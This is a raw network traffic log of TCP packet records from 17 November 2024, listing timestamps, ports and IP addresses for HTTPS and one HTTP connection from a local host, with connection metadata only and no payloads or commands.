Nov 17, 2024 12:35:37.496836901 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.496881962 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.496920109 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.497061014 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.525959969 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.525971889 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.526007891 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.526040077 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.526124001 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.526124001 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.526154041 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.526395082 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.612612009 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.612674952 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.612716913 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.612744093 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.612766981 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.612782955 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.643122911 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.643158913 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.643235922 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.643250942 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.643260002 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.643292904 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.643366098 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.643412113 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.643630028 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.643636942 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.643737078 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.643750906 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.654172897 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:37.662797928 CET	49878	443	192.168.2.6	184.28.90.27
Nov 17, 2024 12:35:37.662818909 CET	443	49878	184.28.90.27	192.168.2.6
Nov 17, 2024 12:35:37.663476944 CET	49878	443	192.168.2.6	184.28.90.27
Nov 17, 2024 12:35:37.665493011 CET	49878	443	192.168.2.6	184.28.90.27
Nov 17, 2024 12:35:37.665507078 CET	443	49878	184.28.90.27	192.168.2.6
Nov 17, 2024 12:35:37.673794985 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.673846006 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.674024105 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.674278021 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.674293995 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.727840900 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.727895975 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.727945089 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.727979898 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.728014946 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.728038073 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.801187038 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.801209927 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.801270008 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.801282883 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.801327944 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.801356077 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.861629963 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.861653090 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.861732960 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.861768007 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.862024069 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.976453066 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.976475000 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.976547003 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.976583958 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:37.976610899 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.976646900 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:37.989882946 CET	443	49872	142.250.184.228	192.168.2.6
Nov 17, 2024 12:35:37.990295887 CET	49872	443	192.168.2.6	142.250.184.228
Nov 17, 2024 12:35:37.990324974 CET	443	49872	142.250.184.228	192.168.2.6
Nov 17, 2024 12:35:37.991565943 CET	443	49872	142.250.184.228	192.168.2.6
Nov 17, 2024 12:35:37.991631985 CET	49872	443	192.168.2.6	142.250.184.228
Nov 17, 2024 12:35:37.993067026 CET	49872	443	192.168.2.6	142.250.184.228
Nov 17, 2024 12:35:37.993135929 CET	443	49872	142.250.184.228	192.168.2.6
Nov 17, 2024 12:35:37.997572899 CET	443	49875	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.998121023 CET	49875	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.998142958 CET	443	49875	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:37.999058962 CET	49875	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:37.999063969 CET	443	49875	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.003447056 CET	443	49873	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.007273912 CET	49873	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.007287025 CET	443	49873	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.007788897 CET	49873	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.007792950 CET	443	49873	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.019113064 CET	443	49877	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.021265984 CET	443	49876	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.026192904 CET	49877	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.026226997 CET	443	49877	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.026782990 CET	49877	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.026788950 CET	443	49877	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.027626991 CET	49876	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.027653933 CET	443	49876	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.028004885 CET	49876	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.028009892 CET	443	49876	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.031944036 CET	443	49874	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.032730103 CET	49874	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.032763004 CET	443	49874	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.033123970 CET	49874	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.033129930 CET	443	49874	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.034497023 CET	49872	443	192.168.2.6	142.250.184.228
Nov 17, 2024 12:35:38.034507990 CET	443	49872	142.250.184.228	192.168.2.6
Nov 17, 2024 12:35:38.073858023 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:38.073877096 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:38.073930025 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:38.073937893 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:38.073968887 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:38.073992014 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:38.081326008 CET	49872	443	192.168.2.6	142.250.184.228
Nov 17, 2024 12:35:38.130239964 CET	443	49875	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.130300999 CET	443	49875	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.130527020 CET	49875	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.130604029 CET	49875	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.130616903 CET	443	49875	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.130628109 CET	49875	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.130631924 CET	443	49875	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.133941889 CET	49885	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.133990049 CET	443	49885	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.134146929 CET	49885	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.134440899 CET	49885	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.134458065 CET	443	49885	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.137716055 CET	443	49873	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.137739897 CET	443	49873	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.137770891 CET	443	49873	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.137798071 CET	49873	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.137842894 CET	49873	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.138108969 CET	49873	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.138113976 CET	443	49873	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.138211966 CET	49873	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.138216972 CET	443	49873	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.139054060 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:38.139076948 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:38.139127970 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:38.139137983 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:38.139172077 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:38.139194012 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:38.151834011 CET	443	49877	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.151892900 CET	443	49877	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.151967049 CET	49877	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.152657986 CET	49877	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.152681112 CET	443	49877	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.152694941 CET	49877	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.152702093 CET	443	49877	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.154244900 CET	443	49876	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.154282093 CET	443	49876	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.154331923 CET	49876	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.154350042 CET	443	49876	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.154366016 CET	443	49876	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.154403925 CET	49876	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.154875040 CET	49876	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.154887915 CET	443	49876	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.154900074 CET	49876	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.154903889 CET	443	49876	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.157449961 CET	49886	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.157485962 CET	443	49886	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.157555103 CET	49886	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.157773018 CET	49886	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.157785892 CET	443	49886	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.159823895 CET	49887	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.159856081 CET	443	49887	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.160495996 CET	49887	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.163438082 CET	443	49874	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.163522005 CET	443	49874	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.163587093 CET	49874	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.165616035 CET	49874	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.165631056 CET	443	49874	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.165647030 CET	49874	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.165652990 CET	443	49874	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.167058945 CET	49887	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.167085886 CET	443	49887	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.170156956 CET	49888	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.170175076 CET	443	49888	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.170229912 CET	49888	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.171415091 CET	49889	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.171443939 CET	443	49889	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.171509027 CET	49889	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.171711922 CET	49889	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.171717882 CET	443	49889	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.172915936 CET	49888	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.172945976 CET	443	49888	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.208401918 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:38.208425045 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:38.208523989 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:38.208544016 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:38.208589077 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:38.323725939 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:38.323791981 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:38.323820114 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:38.323852062 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:38.323879957 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:38.323901892 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:38.370883942 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:38.370903969 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:38.370974064 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:38.370984077 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:38.371026039 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:38.420537949 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.439100027 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:38.439148903 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:38.439172029 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:38.439183950 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:38.439198017 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:38.439203024 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:38.439239979 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:38.462306976 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.462340117 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.464159012 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.464232922 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.465781927 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.465889931 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.466264009 CET	49867	443	192.168.2.6	13.107.246.67
Nov 17, 2024 12:35:38.466289043 CET	443	49867	13.107.246.67	192.168.2.6
Nov 17, 2024 12:35:38.497699976 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.497720957 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.515310049 CET	443	49878	184.28.90.27	192.168.2.6
Nov 17, 2024 12:35:38.515434027 CET	49878	443	192.168.2.6	184.28.90.27
Nov 17, 2024 12:35:38.518852949 CET	49878	443	192.168.2.6	184.28.90.27
Nov 17, 2024 12:35:38.518863916 CET	443	49878	184.28.90.27	192.168.2.6
Nov 17, 2024 12:35:38.519129992 CET	443	49878	184.28.90.27	192.168.2.6
Nov 17, 2024 12:35:38.547549963 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.564344883 CET	49878	443	192.168.2.6	184.28.90.27
Nov 17, 2024 12:35:38.574801922 CET	49878	443	192.168.2.6	184.28.90.27
Nov 17, 2024 12:35:38.588435888 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:38.588462114 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:38.588586092 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:38.588777065 CET	49890	443	192.168.2.6	13.107.246.60
Nov 17, 2024 12:35:38.588783026 CET	443	49890	13.107.246.60	192.168.2.6
Nov 17, 2024 12:35:38.615367889 CET	443	49878	184.28.90.27	192.168.2.6
Nov 17, 2024 12:35:38.749296904 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.749356985 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.749380112 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.749403954 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.749432087 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.749445915 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.749469042 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.749489069 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.749489069 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.749496937 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.749516964 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.749516964 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.749586105 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.816543102 CET	443	49878	184.28.90.27	192.168.2.6
Nov 17, 2024 12:35:38.817095995 CET	49878	443	192.168.2.6	184.28.90.27
Nov 17, 2024 12:35:38.817121029 CET	443	49878	184.28.90.27	192.168.2.6
Nov 17, 2024 12:35:38.817135096 CET	49878	443	192.168.2.6	184.28.90.27
Nov 17, 2024 12:35:38.817269087 CET	443	49878	184.28.90.27	192.168.2.6
Nov 17, 2024 12:35:38.817302942 CET	443	49878	184.28.90.27	192.168.2.6
Nov 17, 2024 12:35:38.817470074 CET	49878	443	192.168.2.6	184.28.90.27
Nov 17, 2024 12:35:38.855328083 CET	49891	443	192.168.2.6	184.28.90.27
Nov 17, 2024 12:35:38.855367899 CET	443	49891	184.28.90.27	192.168.2.6
Nov 17, 2024 12:35:38.855442047 CET	49891	443	192.168.2.6	184.28.90.27
Nov 17, 2024 12:35:38.855767965 CET	49891	443	192.168.2.6	184.28.90.27
Nov 17, 2024 12:35:38.855782986 CET	443	49891	184.28.90.27	192.168.2.6
Nov 17, 2024 12:35:38.868213892 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.868242025 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.868293047 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.868303061 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.868326902 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.868346930 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.875200987 CET	443	49885	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.876235962 CET	49885	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.876255989 CET	443	49885	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.877104044 CET	49885	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.877111912 CET	443	49885	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.892477989 CET	443	49887	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.894571066 CET	49887	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.894588947 CET	443	49887	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.895334005 CET	49887	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.895344019 CET	443	49887	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.912300110 CET	443	49889	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.912471056 CET	443	49888	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.913027048 CET	49889	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.913044930 CET	443	49889	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.913340092 CET	443	49886	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.913631916 CET	49889	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.913639069 CET	443	49889	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.914818048 CET	49888	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.914835930 CET	443	49888	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.916049004 CET	49888	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.916054964 CET	443	49888	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.920558929 CET	49886	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.920584917 CET	443	49886	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.921224117 CET	49886	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.921235085 CET	443	49886	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.922919035 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.987004995 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.987016916 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.987052917 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.987088919 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.987092018 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.987107038 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.987140894 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.987157106 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.987390995 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.987457037 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:38.987462997 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.987514019 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.987751007 CET	49879	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:38.987771988 CET	443	49879	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.010329962 CET	443	49885	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.010422945 CET	443	49885	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.010483027 CET	49885	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.010613918 CET	49885	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.010633945 CET	443	49885	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.010648012 CET	49885	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.010656118 CET	443	49885	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.013793945 CET	49892	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.013825893 CET	443	49892	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.013912916 CET	49892	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.014081955 CET	49892	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.014108896 CET	443	49892	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.020558119 CET	443	49887	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.021080971 CET	443	49887	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.021153927 CET	49887	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.021210909 CET	49887	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.021220922 CET	443	49887	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.021238089 CET	49887	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.021244049 CET	443	49887	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.024149895 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.024183989 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.024270058 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.024410009 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.024436951 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.042458057 CET	443	49888	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.042654991 CET	443	49888	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.042690992 CET	443	49889	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.042752028 CET	443	49889	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.042762041 CET	49888	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.042787075 CET	49889	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.042834997 CET	49888	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.042834997 CET	49888	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.042865992 CET	443	49888	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.042891979 CET	443	49888	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.043107033 CET	49889	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.043118000 CET	443	49889	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.043128014 CET	49889	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.043133020 CET	443	49889	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.045306921 CET	49894	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.045331955 CET	443	49894	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.045483112 CET	49894	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.045681953 CET	49895	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.045706034 CET	443	49895	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:39.045768023 CET	49895	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:39.045809031 CET	49894	443	192.168.2.6	13.107.246.45
